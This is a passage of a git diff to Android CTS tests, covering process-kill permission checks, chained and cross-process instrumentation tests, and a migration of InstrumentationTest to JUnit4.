+ </instrumentation>
</manifest>
diff --git a/tests/app/CantSaveState1/AndroidManifest.xml b/tests/app/CantSaveState1/AndroidManifest.xml
index 41aad1f3..85faa53 100644
--- a/tests/app/CantSaveState1/AndroidManifest.xml
+++ b/tests/app/CantSaveState1/AndroidManifest.xml
@@ -16,6 +16,9 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.android.test.cantsavestate1">
+ <queries>
+ <package android:name="com.android.test.cantsavestate2" />
+ </queries>
<application android:label="Can't Save 1"
android:cantSaveState="true">
<activity android:name="CantSave1Activity"
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index b78bb08..7367ba9 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -66,6 +66,7 @@
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+ <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
<application android:label="Android TestCase"
android:icon="@drawable/size_48x48"
@@ -591,6 +592,10 @@
</intent-filter>
</receiver>
+ <activity android:name="android.app.stubs.RemoteActivity"
+ android:process=":remote"
+ android:excludeFromRecents="true"
+ android:exported="true" />
</application>
</manifest>
diff --git a/tests/app/app/src/android/app/stubs/RemoteActivity.java b/tests/app/app/src/android/app/stubs/RemoteActivity.java
new file mode 100644
index 0000000..0af1cba
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/RemoteActivity.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteException;
+
+/**
+ * An empty helper activity.
+ */
+public final class RemoteActivity extends Activity {
+
+ /** Extras to the launching intent */
+ public static final String EXTRA_CALLBACK = "callback";
+
+ private final IBinder mStub = new Binder() {
+ @Override
+ protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+ throws RemoteException {
+ switch (code) {
+ case IBinder.FIRST_CALL_TRANSACTION:
+ finish();
+ return true;
+ default:
+ return false;
+ }
+ }
+ };
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final Intent intent = getIntent();
+ final IBinder callback = intent.getExtras().getBinder(EXTRA_CALLBACK);
+ final Parcel data = Parcel.obtain();
+ try {
+ data.writeStrongBinder(mStub);
+ callback.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
+ } catch (RemoteException e) {
+ } finally {
+ data.recycle();
+ }
+ }
+}
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index e837f9a..3c69b09 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -61,6 +61,7 @@
import android.app.stubs.LocalForegroundService;
import android.app.stubs.MockApplicationActivity;
import android.app.stubs.MockService;
+import android.app.stubs.RemoteActivity;
import android.app.stubs.ScreenOnActivity;
import android.app.stubs.TestHomeActivity;
import android.app.stubs.TrimMemService;
@@ -184,7 +185,7 @@
public void setUp() throws Exception {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
mTargetContext = mInstrumentation.getTargetContext();
- mActivityManager = (ActivityManager) mInstrumentation.getContext()
+ mActivityManager = (ActivityManager) mTargetContext
.getSystemService(Context.ACTIVITY_SERVICE);
mPackageManager = mInstrumentation.getContext().getPackageManager();
mStartedActivityList = new ArrayList<Activity>();
@@ -192,6 +193,7 @@
mAppStandbyEnabled = AppStandbyUtils.isAppStandbyEnabled();
mAutomotiveDevice = mPackageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
mLeanbackOnly = mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
+ toggleScreenOn(true);
startSubActivity(ScreenOnActivity.class);
drainOrderedBroadcastQueue(2);
}
@@ -2310,4 +2312,123 @@
return context.getPackageManager()
.hasSystemFeature(PackageManager.FEATURE_TELEVISION);
}
+
+ @Test
+ public void testKillBackgroundProcess() throws Exception {
+ final String otherPackage = "com.android.app1";
+ final ApplicationInfo ai1 = mTargetContext.getPackageManager()
+ .getApplicationInfo(otherPackage, 0);
+ final WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, Process.myUid(),
+ WAITFOR_MSEC);
+ final WatchUidRunner uid2Watcher = new WatchUidRunner(mInstrumentation, ai1.uid,
+ WAITFOR_MSEC);
+ try {
+ launchHome();
+
+ // Since we're running instrumentation, our proc state will stay above FGS.
+ uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+ WatchUidRunner.STATE_FG_SERVICE);
+
+ // Start an activity in another process in our package, our proc state will goto TOP.
+ final CountDownLatch remoteBinderDeathLatch1 = startRemoteActivityAndLinkToDeath(
+ new ComponentName(mTargetContext, RemoteActivity.class),
+ uid1Watcher);
+
+ final CountDownLatch remoteBinderDeathLatch2 = startRemoteActivityAndLinkToDeath(
+ new ComponentName(otherPackage, STUB_PACKAGE_NAME + ".RemoteActivity"),
+ uid2Watcher);
+
+ // Launch home again so our activity will be backgrounded.
+ launchHome();
+
+ // The uid goes back to FGS state,
+ // but the process with the remote activity should have been in the background.
+ uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+ WatchUidRunner.STATE_FG_SERVICE);
+
+ // And the test package should be in background too.
+ uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
+ WatchUidRunner.STATE_LAST);
+
+ // Now, try to kill the background process of our own, it should succeed.
+ mActivityManager.killBackgroundProcesses(mTargetContext.getPackageName());
+
+ assertTrue("We should be able to kill our own process",
+ remoteBinderDeathLatch1.await(WAITFOR_MSEC, TimeUnit.MILLISECONDS));
+
+ // Try to kill the background process of other app, it should fail.
+ mActivityManager.killBackgroundProcesses(otherPackage);
+
+ assertFalse("We should be able to kill the processes of other package",
+ remoteBinderDeathLatch2.await(WAITFOR_MSEC, TimeUnit.MILLISECONDS));
+
+ // Adopt the permission, we should be able to kill it now.
+ mInstrumentation.getUiAutomation().adoptShellPermissionIdentity(
+ android.Manifest.permission.FORCE_STOP_PACKAGES);
+
+ mActivityManager.killBackgroundProcesses(otherPackage);
+
+ assertTrue("We should be able to kill the processes of other package",
+ remoteBinderDeathLatch2.await(WAITFOR_MSEC, TimeUnit.MILLISECONDS));
+ } finally {
+ uid1Watcher.finish();
+ uid2Watcher.finish();
+ mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
+ finishAndRemoveTask(new ComponentName(mTargetContext, RemoteActivity.class));
+ }
+ }
+
+ private void finishAndRemoveTask(ComponentName activity) {
+ for (ActivityManager.AppTask task : mActivityManager.getAppTasks()) {
+ final ActivityManager.RecentTaskInfo info = task.getTaskInfo();
+ if (info != null && activity.equals(info.topActivity)) {
+ task.finishAndRemoveTask();
+ break;
+ }
+ }
+ }
+
+ private CountDownLatch startRemoteActivityAndLinkToDeath(ComponentName activity,
+ WatchUidRunner uidWatcher) throws Exception {
+ final IBinder[] remoteBinderHolder = new IBinder[1];
+ final CountDownLatch remoteBinderLatch = new CountDownLatch(1);
+ final IBinder binder = new Binder() {
+ @Override
+ protected boolean onTransact(int code, Parcel data, Parcel reply, int flags)
+ throws RemoteException {
+ switch (code) {
+ case IBinder.FIRST_CALL_TRANSACTION:
+ remoteBinderHolder[0] = data.readStrongBinder();
+ remoteBinderLatch.countDown();
+ return true;
+ default:
+ return false;
+ }
+ }
+ };
+ final CountDownLatch remoteBinderDeathLatch = new CountDownLatch(1);
+ final IBinder.DeathRecipient recipient = new IBinder.DeathRecipient() {
+ @Override
+ public void binderDied() {
+ remoteBinderDeathLatch.countDown();
+ }
+ };
+ final Intent intent = new Intent();
+ intent.setComponent(activity);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ final Bundle extras = new Bundle();
+ extras.putBinder(RemoteActivity.EXTRA_CALLBACK, binder);
+ intent.putExtras(extras);
+ mTargetContext.startActivity(intent);
+
+ uidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
+ assertTrue("Failed to receive the callback from remote activity",
+ remoteBinderLatch.await(WAITFOR_MSEC, TimeUnit.MILLISECONDS));
+ assertNotNull(remoteBinderHolder[0]);
+ remoteBinderHolder[0].linkToDeath(recipient, 0);
+
+ // Sleep a while to let things go through.
+ Thread.sleep(WAIT_TIME);
+ return remoteBinderDeathLatch;
+ }
}
diff --git a/tests/app/src/android/app/cts/BaseChainedInstrumentation.java b/tests/app/src/android/app/cts/BaseChainedInstrumentation.java
new file mode 100644
index 0000000..d265263
--- /dev/null
+++ b/tests/app/src/android/app/cts/BaseChainedInstrumentation.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Activity;
+import android.app.Application;
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.RemoteException;
+
+/**
+ * Base class supporting "chained" instrumentation: start another instrumentation while
+ * running the current instrumentation.
+ */
+public class BaseChainedInstrumentation extends Instrumentation {
+ static final String EXTRA_MESSENGER = "messenger";
+
+ final ComponentName mNestedInstrComp;
+
+ /** Constructor */
+ public BaseChainedInstrumentation(ComponentName nestedInstrComp) {
+ mNestedInstrComp = nestedInstrComp;
+ }
+
+ @Override
+ public void onCreate(Bundle arguments) {
+ super.onCreate(arguments);
+ final String proc = getProcessName();
+ final String appProc = Application.getProcessName();
+ if (!proc.equals(appProc)) {
+ throw new RuntimeException(String.format(
+ "getProcessName()s mismatch. Instr=%s App=%s", proc, appProc));
+ }
+ final Bundle result = new Bundle();
+ result.putBoolean(proc, true);
+ if (mNestedInstrComp != null) {
+ // We're in the main process.
+ // Because the Context#startInstrumentation doesn't support result watcher,
+ // we'd have to craft a private way to relay the result back.
+ final Handler handler = new Handler(Looper.myLooper(), msg -> {
+ final Bundle nestedResult = (Bundle) msg.obj;
+ result.putAll(nestedResult);
+ finish(Activity.RESULT_OK, result);
+ return true;
+ });
+ final Messenger messenger = new Messenger(handler);
+ final Bundle extras = new Bundle();
+ extras.putParcelable(EXTRA_MESSENGER, messenger);
+ getContext().startInstrumentation(mNestedInstrComp, null, extras);
+ scheduleTimeoutCleanup();
+ } else {
+ final Messenger messenger = arguments.getParcelable(EXTRA_MESSENGER);
+ final Message msg = Message.obtain();
+ try {
+ msg.obj = result;
+ messenger.send(msg);
+ } catch (RemoteException e) {
+ } finally {
+ msg.recycle();
+ }
+ finish(Activity.RESULT_OK, result);
+ }
+ }
+
+ private void scheduleTimeoutCleanup() {
+ new Handler(Looper.myLooper()).postDelayed(() -> {
+ Bundle result = new Bundle();
+ result.putString("FAILURE",
+ "Timed out waiting for sub-instrumentation to complete");
+ finish(Activity.RESULT_CANCELED, result);
+ }, 20 * 1000);
+ }
+}
diff --git a/tests/app/src/android/app/cts/ChainedInstrumentationFirst.java b/tests/app/src/android/app/cts/ChainedInstrumentationFirst.java
new file mode 100644
index 0000000..0fd22b0
--- /dev/null
+++ b/tests/app/src/android/app/cts/ChainedInstrumentationFirst.java
@@ -0,0 +1,30 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.content.ComponentName;
+
+/**
+ * Chained instrumentation test class.
+ */
+public final class ChainedInstrumentationFirst extends BaseChainedInstrumentation {
+ static final String PACKAGE_NAME = "android.app.cts";
+ /** Constructor */
+ public ChainedInstrumentationFirst() {
+ super(new ComponentName(PACKAGE_NAME, PACKAGE_NAME + ".ChainedInstrumentationSecond"));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/tests/app/src/android/app/cts/ChainedInstrumentationSecond.java
similarity index 70%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
copy to tests/app/src/android/app/cts/ChainedInstrumentationSecond.java
index 1a335c7..ebed475 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
+++ b/tests/app/src/android/app/cts/ChainedInstrumentationSecond.java
@@ -14,9 +14,14 @@
* limitations under the License.
*/
-package android.security.cts.cve_2021_0642;
+package android.app.cts;
-import android.app.Activity;
-
-public class PocActivity extends Activity {
+/**
+ * Chained instrumentation test class.
+ */
+public final class ChainedInstrumentationSecond extends BaseChainedInstrumentation {
+ /** Constructor */
+ public ChainedInstrumentationSecond() {
+ super(null);
+ }
}
diff --git a/tests/app/src/android/app/cts/InstrumentationHelperService.java b/tests/app/src/android/app/cts/InstrumentationHelperService.java
new file mode 100644
index 0000000..0c4f48d
--- /dev/null
+++ b/tests/app/src/android/app/cts/InstrumentationHelperService.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.cts;
+
+import android.app.Service;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.ResultReceiver;
+
+import java.util.concurrent.CountDownLatch;
+
+/**
+ * The helper class to start an instrumentation from a different process.
+ */
+public class InstrumentationHelperService extends Service {
+ private static final String ACTION_START_INSTRUMENTATION =
+ "android.app.cts.ACTION_START_INSTRUMENTATION";
+ private static final String EXTRA_INSTRUMENTATIION_NAME = "instrumentation_name";
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ final String action = intent.getAction();
+ if (ACTION_START_INSTRUMENTATION.equals(action)) {
+ final String instrumentationName = intent.getStringExtra(EXTRA_INSTRUMENTATIION_NAME);
+ final ResultReceiver r = intent.getParcelableExtra(Intent.EXTRA_RESULT_RECEIVER);
+
+ boolean result = false;
+ try {
+ startInstrumentation(
+ ComponentName.unflattenFromString(instrumentationName), null, null);
+ result = true;
+ } catch (SecurityException e) {
+ }
+ r.send(result ? 1 : 0, null);
+ }
+ return START_NOT_STICKY;
+ }
+
+ /**
+ * Start the given instrumentation from this service and return result.
+ */
+ static boolean startInstrumentation(Context context, String instrumentationName)
+ throws InterruptedException {
+ final Intent intent = new Intent(ACTION_START_INSTRUMENTATION);
+ final boolean[] resultHolder = new boolean[1];
+ final CountDownLatch latch = new CountDownLatch(1);
+ final ResultReceiver r = new ResultReceiver(null) {
+ @Override
+ protected void onReceiveResult(int resultCode, Bundle resultData) {
+ resultHolder[0] = resultCode == 1;
+ latch.countDown();
+ }
+ };
+ intent.putExtra(EXTRA_INSTRUMENTATIION_NAME, instrumentationName);
+ intent.putExtra(Intent.EXTRA_RESULT_RECEIVER, r);
+ intent.setClassName("android.app.cts", "android.app.cts.InstrumentationHelperService");
+ context.startService(intent);
+ latch.await();
+ return resultHolder[0];
+ }
+}
diff --git a/tests/app/src/android/app/cts/InstrumentationTest.java b/tests/app/src/android/app/cts/InstrumentationTest.java
index 70499b8..7830fe9 100644
--- a/tests/app/src/android/app/cts/InstrumentationTest.java
+++ b/tests/app/src/android/app/cts/InstrumentationTest.java
@@ -16,6 +16,15 @@
package android.app.cts;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
+
import android.app.Activity;
import android.app.Application;
import android.app.Instrumentation;
@@ -33,10 +42,10 @@
import android.graphics.Rect;
import android.graphics.drawable.Drawable;
import android.net.Uri;
+import android.os.Build;
import android.os.Bundle;
import android.os.Debug;
import android.os.SystemClock;
-import android.test.InstrumentationTestCase;
import android.test.UiThreadTest;
import android.view.InputQueue;
import android.view.KeyCharacterMap;
@@ -48,12 +57,21 @@
import android.view.ViewGroup.LayoutParams;
import android.view.Window;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.WindowUtil;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
import java.util.List;
-public class InstrumentationTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class InstrumentationTest {
private static final int WAIT_TIME = 1000;
@@ -67,10 +85,9 @@
private Context mContext;
private MockActivity mMockActivity;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mInstrumentation = getInstrumentation();
+ @Before
+ public void setUp() throws Exception {
+ mInstrumentation = InstrumentationRegistry.getInstrumentation();
mContext = mInstrumentation.getTargetContext();
mIntent = new Intent(mContext, InstrumentationTestActivity.class);
mIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
@@ -78,46 +95,86 @@
WindowUtil.waitForFocus(mActivity);
}
- protected void tearDown() throws Exception {
+ @After
+ public void tearDown() throws Exception {
mInstrumentation = null;
mIntent = null;
if (mActivity != null) {
mActivity.finish();
mActivity = null;
}
- super.tearDown();
}
+ @Test
public void testDefaultProcessInstrumentation() throws Exception {
String cmd = "am instrument -w android.app.cts/.DefaultProcessInstrumentation";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true" +
"\nINSTRUMENTATION_CODE: -1\n", result);
}
+ @Test
public void testAltProcessInstrumentation() throws Exception {
String cmd = "am instrument -w android.app.cts/.AltProcessInstrumentation";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + ":other=true" +
"\nINSTRUMENTATION_CODE: -1\n", result);
}
+ @Test
public void testWildcardProcessInstrumentation() throws Exception {
String cmd = "am instrument -w android.app.cts/.WildcardProcessInstrumentation";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true" +
"\nINSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + ":receiver=true" +
"\nINSTRUMENTATION_CODE: -1\n", result);
}
+ @Test
public void testMultiProcessInstrumentation() throws Exception {
String cmd = "am instrument -w android.app.cts/.MultiProcessInstrumentation";
- String result = SystemUtil.runShellCommand(getInstrumentation(), cmd);
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true" +
"\nINSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + ":other=true" +
"\nINSTRUMENTATION_CODE: -1\n", result);
}
+ @Test
+ public void testEnforceStartFromShell() throws Exception {
+ assumeFalse(Build.isDebuggable());
+ // Start the instrumentation from shell, it should succeed.
+ final String defaultInstrumentationName = "android.app.cts/.DefaultProcessInstrumentation";
+ String cmd = "am instrument -w " + defaultInstrumentationName;
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ assertEquals("INSTRUMENTATION_RESULT: " + SIMPLE_PACKAGE_NAME + "=true"
+ + "\nINSTRUMENTATION_CODE: -1\n", result);
+ // Start the instrumentation by ourselves, it should succeed (chained instrumentation).
+ mContext.startInstrumentation(
+ ComponentName.unflattenFromString(defaultInstrumentationName), null, null);
+ // Start the instrumentation from another process, this time it should fail.
+ SystemUtil.runShellCommand(mInstrumentation,
+ "cmd deviceidle tempwhitelist android.app.cts");
+ try {
+ assertFalse(InstrumentationHelperService.startInstrumentation(
+ mContext, defaultInstrumentationName));
+ } finally {
+ SystemUtil.runShellCommand(mInstrumentation,
+ "cmd deviceidle tempwhitelist -r android.app.cts");
+ }
+ }
+
+ @Test
+ public void testChainedInstrumentation() throws Exception {
+ final String testPkg1 = "com.android.test.cantsavestate1";
+ final String testPkg2 = "com.android.test.cantsavestate2";
+ String cmd = "am instrument -w android.app.cts/.ChainedInstrumentationFirst";
+ String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
+ assertEquals("INSTRUMENTATION_RESULT: " + testPkg1 + "=true"
+ + "\nINSTRUMENTATION_RESULT: " + testPkg2 + "=true"
+ + "\nINSTRUMENTATION_CODE: -1\n", result);
+ }
+
+ @Test
public void testMonitor() throws Exception {
if (mActivity != null)
mActivity.finish();
@@ -158,6 +215,7 @@
mInstrumentation.removeMonitor(am);
}
+ @Test
public void testCallActivityOnCreate() throws Throwable {
mActivity.setOnCreateCalled(false);
runTestOnUiThread(new Runnable() {
@@ -169,6 +227,7 @@
assertTrue(mActivity.isOnCreateCalled());
}
+ @Test
public void testAllocCounting() throws Exception {
mInstrumentation.startAllocCounting();
@@ -203,6 +262,7 @@
assertEquals(threadAllocCount, Debug.getThreadAllocCount());
}
+ @Test
public void testSendTrackballEventSync() throws Exception {
long now = SystemClock.uptimeMillis();
MotionEvent orig = MotionEvent.obtain(now, now, MotionEvent.ACTION_DOWN,
@@ -216,18 +276,21 @@
assertEquals(orig.getDownTime(), motionEvent.getDownTime());
}
+ @Test
public void testCallApplicationOnCreate() throws Exception {
InstrumentationTestStub ca = new InstrumentationTestStub();
mInstrumentation.callApplicationOnCreate(ca);
assertTrue(ca.mIsOnCreateCalled);
}
+ @Test
public void testContext() throws Exception {
Context c1 = mInstrumentation.getContext();
Context c2 = mInstrumentation.getTargetContext();
assertNotSame(c1.getPackageName(), c2.getPackageName());
}
+ @Test
public void testInvokeMenuActionSync() throws Exception {
final int resId = R.id.goto_menu_id;
if (mActivity.getWindow().hasFeature(Window.FEATURE_OPTIONS_PANEL)) {
@@ -238,6 +301,7 @@
}
}
+ @Test
public void testCallActivityOnPostCreate() throws Throwable {
mActivity.setOnPostCreate(false);
runTestOnUiThread(new Runnable() {
@@ -249,6 +313,7 @@
assertTrue(mActivity.isOnPostCreate());
}
+ @Test
public void testCallActivityOnNewIntent() throws Throwable {
mActivity.setOnNewIntentCalled(false);
runTestOnUiThread(new Runnable() {
@@ -261,6 +326,7 @@
assertTrue(mActivity.isOnNewIntentCalled());
}
+ @Test
public void testCallActivityOnResume() throws Throwable {
mActivity.setOnResume(false);
runTestOnUiThread(new Runnable() {
@@ -272,15 +338,18 @@
assertTrue(mActivity.isOnResume());
}
+ @Test
public void testMisc() throws Exception {
}
+ @Test
public void testPerformanceSnapshot() throws Exception {
mInstrumentation.setAutomaticPerformanceSnapshots();
mInstrumentation.startPerformanceSnapshot();
mInstrumentation.endPerformanceSnapshot();
}
+ @Test
public void testProfiling() throws Exception {
// by default, profiling was disabled. but after set the handleProfiling attribute in the
// manifest file for this Instrumentation to true, the profiling was also disabled.
@@ -290,6 +359,7 @@
mInstrumentation.stopProfiling();
}
+ @Test
public void testInvokeContextMenuAction() throws Exception {
mActivity.runOnUiThread(new Runnable() {
public void run() {
@@ -306,6 +376,7 @@
assertEquals(flag, mMockActivity.mWindow.mFlags);
}
+ @Test
public void testSendStringSync() {
final String text = "abcd";
mInstrumentation.sendStringSync(text);
@@ -326,6 +397,7 @@
}
}
+ @Test
public void testCallActivityOnSaveInstanceState() throws Throwable {
final Bundle bundle = new Bundle();
mActivity.setOnSaveInstanceState(false);
@@ -340,6 +412,7 @@
assertSame(bundle, mActivity.getBundle());
}
+ @Test
public void testSendPointerSync() throws Exception {
mInstrumentation.waitForIdleSync();
mInstrumentation.setInTouchMode(true);
@@ -361,13 +434,15 @@
mActivity.setOnTouchEventCalled(false);
}
+ @Test
public void testGetComponentName() throws Exception {
- ComponentName com = getInstrumentation().getComponentName();
+ ComponentName com = mInstrumentation.getComponentName();
assertNotNull(com.getPackageName());
assertNotNull(com.getClassName());
assertNotNull(com.getShortClassName());
}
+ @Test
public void testNewApplication() throws Exception {
final String className = "android.app.stubs.MockApplication";
ClassLoader cl = getClass().getClassLoader();
@@ -379,6 +454,7 @@
assertEquals(className, app.getClass().getName());
}
+ @Test
public void testRunOnMainSync() throws Exception {
mRunOnMainSyncResult = false;
mInstrumentation.runOnMainSync(new Runnable() {
@@ -390,6 +466,7 @@
assertTrue(mRunOnMainSyncResult);
}
+ @Test
public void testCallActivityOnPause() throws Throwable {
mActivity.setOnPauseCalled(false);
runTestOnUiThread(() -> {
@@ -399,6 +476,7 @@
assertTrue(mActivity.isOnPauseCalled());
}
+ @Test
public void testSendKeyDownUpSync() throws Exception {
mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_0);
mInstrumentation.waitForIdleSync();
@@ -408,6 +486,7 @@
assertEquals(KeyEvent.KEYCODE_0, mActivity.getKeyDownList().get(0).getKeyCode());
}
+ @Test
@UiThreadTest
public void testNewActivity() throws Exception {
Intent intent = new Intent();
@@ -435,6 +514,7 @@
activity.finish();
}
+ @Test
public void testCallActivityOnStart() throws Exception {
mActivity.setOnStart(false);
mInstrumentation.callActivityOnStart(mActivity);
@@ -442,6 +522,7 @@
assertTrue(mActivity.isOnStart());
}
+ @Test
public void testWaitForIdle() throws Exception {
MockRunnable mr = new MockRunnable();
assertFalse(mr.isRunCalled());
@@ -450,6 +531,7 @@
assertTrue(mr.isRunCalled());
}
+ @Test
public void testSendCharacterSync() throws Exception {
mInstrumentation.sendCharacterSync(KeyEvent.KEYCODE_0);
mInstrumentation.waitForIdleSync();
@@ -457,6 +539,7 @@
assertEquals(KeyEvent.KEYCODE_0, mActivity.getKeyUpCode());
}
+ @Test
public void testCallActivityOnRestart() throws Exception {
mActivity.setOnRestart(false);
mInstrumentation.callActivityOnRestart(mActivity);
@@ -464,6 +547,7 @@
assertTrue(mActivity.isOnRestart());
}
+ @Test
public void testCallActivityOnStop() throws Exception {
mActivity.setOnStop(false);
mInstrumentation.callActivityOnStop(mActivity);
@@ -471,6 +555,7 @@
assertTrue(mActivity.isOnStop());
}
+ @Test
public void testCallActivityOnUserLeaving() throws Exception {
assertFalse(mActivity.isOnLeave());
mInstrumentation.callActivityOnUserLeaving(mActivity);
@@ -478,6 +563,7 @@
assertTrue(mActivity.isOnLeave());
}
+ @Test
public void testCallActivityOnRestoreInstanceState() throws Exception {
mActivity.setOnRestoreInstanceState(false);
mInstrumentation.callActivityOnRestoreInstanceState(mActivity, new Bundle());
@@ -485,6 +571,7 @@
assertTrue(mActivity.isOnRestoreInstanceState());
}
+ @Test
public void testSendKeySync() throws Exception {
KeyEvent key = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_0);
mInstrumentation.sendKeySync(key);
@@ -748,4 +835,20 @@
mIsOnCreateCalled = true;
}
}
+
+ private void runTestOnUiThread(final Runnable r) throws Throwable {
+ final Throwable[] exceptions = new Throwable[1];
+ mInstrumentation.runOnMainSync(new Runnable() {
+ public void run() {
+ try {
+ r.run();
+ } catch (Throwable throwable) {
+ exceptions[0] = throwable;
+ }
+ }
+ });
+ if (exceptions[0] != null) {
+ throw exceptions[0];
+ }
+ }
}
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index ce1e868..73cc842 100755
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -3658,6 +3658,56 @@
.getParcelable(Notification.EXTRA_MEDIA_REMOTE_INTENT));
}
+ public void testCustomMediaStyleRemotePlayback_noPermission() throws Exception {
+ int id = 99;
+ final String deviceName = "device name";
+ final int deviceIcon = 123;
+ final PendingIntent deviceIntent = getPendingIntent();
+ final Notification notification =
